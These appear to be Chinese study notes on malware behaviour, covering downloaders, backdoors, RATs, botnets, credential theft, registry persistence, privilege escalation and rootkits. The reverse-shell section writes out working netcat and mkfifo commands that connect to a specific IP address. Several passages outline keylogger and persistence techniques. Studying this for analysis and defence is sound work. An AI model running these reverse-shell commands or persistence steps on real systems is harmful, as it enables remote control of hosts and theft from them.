11. 恶意代码行为

11.1 下载器和启动器

下载器

  1. 从互联网上下载其他的恶意代码,然后在本地系统中运行。
  2. 通常与exploit打包在一起
  3. 常用的Windows API函数为URLDownloadtoFileA(下载)和WinExec(执行)

启动器

  1. 也叫加载器,主要用来运行恶意代码。
  2. 通常包含它要加载的恶意代码

11.2 后门

  1. 恶意代码的一种
  2. 功能较多且完善,以多种形式与大小存在。
  3. 通过不需要再下载其他的恶意代码
  4. 通信方式多种多样,通常使用http协议和80端口,方便透穿防火墙
  5. 功能强大:操作注册表、网络、进程、文件等
  6. 可以通过使用和导入的Windows API函数来确定其使用的功能

如一个键盘记录的后门,我们通过分析其导入函数,可以看到其使用了GetCommandLineA、
image.png
通过MSDN可以看到这个API的作用,主要为检索当前进程的命令行字符串。这样的话就通过导入函数大概了解了这个函数的主要作用。
image.png

11.2.1 反向shell

  1. 正向shell:攻击者直接连接被控的目标主机
  2. 反向shell:被控的目标主机反向连接攻击者的机器

11.2.1.1 Linux反向shell

在服务器端进行监听:

  1. nc -lvvp 80

image.png
被控的客户端反向连接:

  1. nc -e /bin/sh 110.40.141.103 80

image.png
执行命令:
image.png
openbsd版本的netcat不支持 -e或者-c 参数,这样的话可以使用下面的命令来执行:

  1. rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 110.40.141.103 80 > /tmp/f

image.png
image.png

11.2.1.2 windows反向shell

windows反向shell的基础方法主要利用cmd.exe来操作,其执行的流程如下所示:

  1. 核心:通过CreateProcess函数调用,并操作传递给CreateProcessSTARTUPINFO结构
  2. 1.创建一个socks
  3. 2.与远程服务器建立连接
  4. 3.绑定sockscmd.exe的标准流(标准输入、标准输出、与标准错误)
  5. 4.调用CreateProcess函数用隐藏窗口的方式创建cmd.exe,从而隐藏cmd.exe

windows反向shell多线程版本涉及一个socks、两个管道及两个线程的创建(查询API调用函数CreateThread、CreatePipe)

11.2.2 远控工具-RAT

可参考学习CS和PoisonIvy

  1. https://github.com/killeven/Poison-Ivy-Reload

11.2.3 僵尸网络

大量被控的主机形成僵尸网络,后期可用于DDOS、挖矿等

11.2.4 RAT与僵尸网络对比

  1. 范围:RAT针对特定目标,小范围;僵尸网络大范围感觉
  2. 控制:RAT同一时间控制单台;僵尸网络同一时间可大范围控制

11.3 凭证窃取

可参考前期文章:

  1. windows凭证窃取
  2. https://www.yuque.com/feiniao112/hnk3pi/ww3umi
  3. 浏览器凭证窃取
  4. https://www.yuque.com/feiniao112/hnk3pi/hhw12g
  5. 运维工具凭证窃取
  6. https://www.yuque.com/feiniao112/hnk3pi/no2beh
  7. Linux凭证窃取
  8. https://www.yuque.com/feiniao112/hnk3pi/cm6n0f

主要获取方式:

  1. 密码
  2. 密码hash
  3. 其他可以直接或间接登录的凭证

11.3.1 GINA拦截

XP时代的实现方式;GINA在msgina.dll中实现, msgina.dll在用户登录系统过程中由Winlogon可执行文件加载。攻击者可以winlogon.exe和msgina.dll中植入恶意的dll来实现拦截。详细如下图所示:
image.png
实现流程:

  1. 恶意dll程序fsgina.dll拦截winlogon.exemsgina.dll之间的通信
  2. 为保障程序正常,其必须将凭证信息传递给msgina.dll
  3. fsgina.dll必须包含GINA要求的所有导出函数
  4. 具体超过15个导出函数,其大部分前缀为Wlx

11.3.2 口令哈希存储

  1. 暴力破解hash
  2. PTH

11.3.3 键盘记录器

记录账号密码等相关数据。

基于内核的记录器

  1. Rootkit的一种
  2. 驱动绕过用户态的保护

基于用户空间的记录器

  1. 通常使用Windows API
  2. 通过hook或轮询来实现
  3. hook在每次按下键盘中使用Windows API通知恶意代码,通常使用SetWindowsHookEx安装hook
  4. GetAsyncKeyState用来识别按键是被按下还是被弹起
  5. GetForegroundWindows函数用来识别当前的聚焦的窗口,它告诉键盘记录器当前哪个应用程序正在执行输入

相关的逻辑如下:
image.png

11.4 存活机制

主要主是持久化,主流持久化技术有:wmi、注册表、服务、定时任务、自启动。
这里面讨论的是DLL加载顺序劫持

11.4.1 Windows注册表

关于Windows注册表来实现的持久化可以参考个人前期的文章:

  1. https://www.yuque.com/feiniao112/rq5bav/aso093

其用来实现持久化的主要表项如下:

  1. 永久启动项
  2. 64位系统
  3. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  4. HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  5. HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
  6. 32位系统
  7. HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
  8. HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
  9. HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices
  10. 一次性启动项,下次启动会自动删除
  11. 64位系统
  12. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  13. HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  14. HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  15. 32位系统
  16. HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
  17. HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
  18. HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce

可以使用Autoruns来进行快速排查,除了上面罗列的注册表项,还有几个比较受欢迎的值得去深入扩展:

  1. AppInit_DLL
  2. Winlogon
  3. SvcHost DLL

AppInit_DLL

恶意代码可以编写一个名为AppInit_DLL的特殊表项让他们的DLL获得加载
AppInit_DLL中的DLL程序会在进程加载User32.dll时被加载

  1. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost

Winlogon Notify

Hook一个特殊的Winlogon事件,如登录、注销、关机等
其允许恶意代码在安全模式下加载

  1. HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

SvcHost DLL

核心是将恶意DLL注入到svchost.exe中,也就是经典的DLL注入,可以参考个人前期文章:

  1. https://www.yuque.com/feiniao112/fknpgi/die8kr

11.4.2 特洛伊木马系统二进制文件

11.4.3 DLL加载顺序劫持

Windows XP加载DLL的默认顺序:
image.png

11.5 提权

主要是利用漏洞来进行提权

11.5.1 使用SeDebugPrivilege提权

  1. 以用户权限运行的进程并没有任意系统资源的权限
  2. 恶意代码获取这些权限的唯一方法是通过设置访问令牌的权限来开启SeDebugPrivilege
  3. Windows中,访问令牌(Access Token)是一个包含进程安全描述符的对象,安全描述符用来指定拥有者的访问权限
  4. 可以通过调用AdjustTokenPrivilege来调整访问令牌

SeDebugPrivilege

  1. SeDebugPrivilege特权作为一个系统级别调试工具,可以用来获取系统进程拥有的所有权限
  2. 默认情况下,SeDebugPrivilege只赋给本地管理员账号
  3. 拥有SeDebugPrivilege权限同等于拥有本地管理员权限

11.6 用户态Rootkit

Rooktit的典型特征:

  1. 隐藏进程
  2. 隐藏文件
  3. 隐藏网络连接
  4. 隐藏自身
  5. 通常和木马后门结合使用